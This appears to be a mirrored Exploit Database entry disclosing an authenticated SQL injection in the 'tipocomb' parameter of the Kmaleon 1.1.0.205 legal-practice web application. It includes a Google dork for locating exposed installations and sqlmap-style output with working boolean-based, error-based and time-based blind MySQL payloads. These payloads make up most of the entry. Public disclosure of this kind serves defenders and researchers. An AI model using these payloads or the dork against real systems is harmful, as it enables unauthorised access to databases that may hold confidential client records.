Kmaleon 1.1.0.205 – ‘tipocomb’ SQL Injection (Authenticated)

• Exploit Database
• 16 阅读

• 作者： Amel BOUZIANE-LEBLOND
  日期： 2021-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50499/

• # Exploit Title: Kmaleon 1.1.0.205 - 'tipocomb' SQL Injection (Authenticated)
  # Google Dork: intitle: "Inicio de Sesión - Kmaleon"
  # Date: 2021-11-05
  # Exploit Author: Amel BOUZIANE-LEBLOND
  # Vendor Homepage: https://www.levelprograms.com
  # Software Link: https://www.levelprograms.com/kmaleon-abogados/
  # Version: v1.1.0.205
  # Tested on: Linux
  
  # Description:
  # The Kmaleon application from levelprogram is vulnerable to
  # SQL injection via the 'tipocomb' parameter on the kmaleonW.php
  
  ==================== 1. SQLi ====================
  
  http://127.0.0.1/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=[SQLI]&isgroup=true
  
  The 'tipocomb' parameter is vulnerable to SQL injection.
  
  GET parameter 'tipocomb' is vulnerable.
  
  ---
  Parameter: #1* (URI)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause
  Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=-9144 OR 6836=6836&isgroup=true
  
  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 8426 FROM(SELECT COUNT(*),CONCAT(0x7176716b71,(SELECT (ELT(8426=8426,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&isgroup=true
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
  Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 2738 FROM (SELECT(SLEEP(5)))EYSv)&isgroup=true
  ---
  [INFO] the back-end DBMS is MySQL
  back-end DBMS: MySQL >= 5.0.0